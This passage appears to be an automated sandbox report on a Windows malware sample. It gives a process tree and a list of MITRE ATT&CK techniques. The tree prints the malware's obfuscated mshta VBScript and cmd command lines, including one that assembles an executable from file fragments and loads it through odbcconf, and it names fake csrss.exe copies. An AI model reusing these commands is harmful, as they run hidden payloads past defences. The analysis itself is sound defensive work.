        "C:\Windows\System32\mshta.exe" VbSCRipt: cLOSe ( creATEOBJeCt( "wSCriPt.ShELL"). rUN ( "Cmd /C cOPY /Y ""C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe"" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If ""-PJJdHOofvf~E"" == """" for %g IN ( ""C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe"" ) do taskkill -f /Im ""%~NXg"" " , 0, true) )
        8⤵
        Checks computer location settings
        System Location Discovery: System Language Discovery
        Suspicious use of WriteProcessMemory
        
        PID:4888
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C cOPY /Y "C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If "-PJJdHOofvf~E" == "" for %g IN ( "C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe" ) do taskkill -f /Im "%~NXg"
        9⤵
        System Location Discovery: System Language Discovery
        
        PID:3960
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBScRIpt: close (crEateoBJeCT("wscRIpT.sHELl"). RUn ( "C:\Windows\system32\cmd.exe /q /C ECho | SeT /p = ""MZ"" > 2MXG5k.pR & copy /b /y 2MXG5K.pR + A0kCLvIX.Kc + SpiKDP6.H + ApX~.n4 + G7TV3C~.QZE + P~ST7eWJ.E 9V~4.KU & starT odbcconf.exe /a { reGSVr .\9v~4.Ku } " ,0 , TrUE ) )
        8⤵
        Checks computer location settings
        System Binary Proxy Execution: Odbcconf
        System Location Discovery: System Language Discovery
        
        PID:1180
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /q /C ECho | SeT /p = "MZ" > 2MXG5k.pR &copy /b /y 2MXG5K.pR +A0kCLvIX.Kc +SpiKDP6.H+ ApX~.n4 + G7TV3C~.QZE + P~ST7eWJ.E 9V~4.KU & starT odbcconf.exe /a { reGSVr .\9v~4.Ku}
        9⤵
        System Binary Proxy Execution: Odbcconf
        System Location Discovery: System Language Discovery
        
        PID:3964
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" ECho "
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:2996
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SeT /p = "MZ" 1>2MXG5k.pR"
        10⤵
        System Location Discovery: System Language Discovery
        
        PID:3760
        
        C:\Windows\SysWOW64\odbcconf.exe
        
        odbcconf.exe /a { reGSVr .\9v~4.Ku}
        10⤵
        Loads dropped DLL
        System Binary Proxy Execution: Odbcconf
        System Location Discovery: System Language Discovery
        
        PID:3000
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill -f /Im "Mon23c83f1827e40acef.exe"
        7⤵
        System Location Discovery: System Language Discovery
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1080
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon234cf515ac88.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3392
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c Mon237fc92db7bada.exe
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3056
  - - C:\Users\Admin\AppData\Local\Temp\7zSCB7D4A78\Mon237fc92db7bada.exe
      Mon237fc92db7bada.exe
      4⤵
      Executes dropped EXE
      PID:1676

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 5024 -ip 5024
1⤵
PID:4124

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:904

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
PID:2224

C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
PID:5124
- C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
  C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
  2⤵
  - Executes dropped EXE
  PID:5152

C:\Windows\rss\csrss.exe
"C:\Windows\rss\csrss.exe"
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:5196
- C:\Windows\rss\csrss.exe
  "C:\Windows\rss\csrss.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5976

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:6036
- C:\Windows\rss\csrss.exe
  "C:\Windows\rss\csrss.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  PID:5432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1292

C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
"C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
PID:5968
- C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
  C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
  2⤵
  - Executes dropped EXE
  PID:5908
- C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
  C:\Users\Admin\AppData\Local\Temp\6829558ede\tkools.exe
  2⤵
  - Executes dropped EXE
  PID:5324

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

Modify Registry

System Binary Proxy Execution

T1218

Odbcconf

T1218.008

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery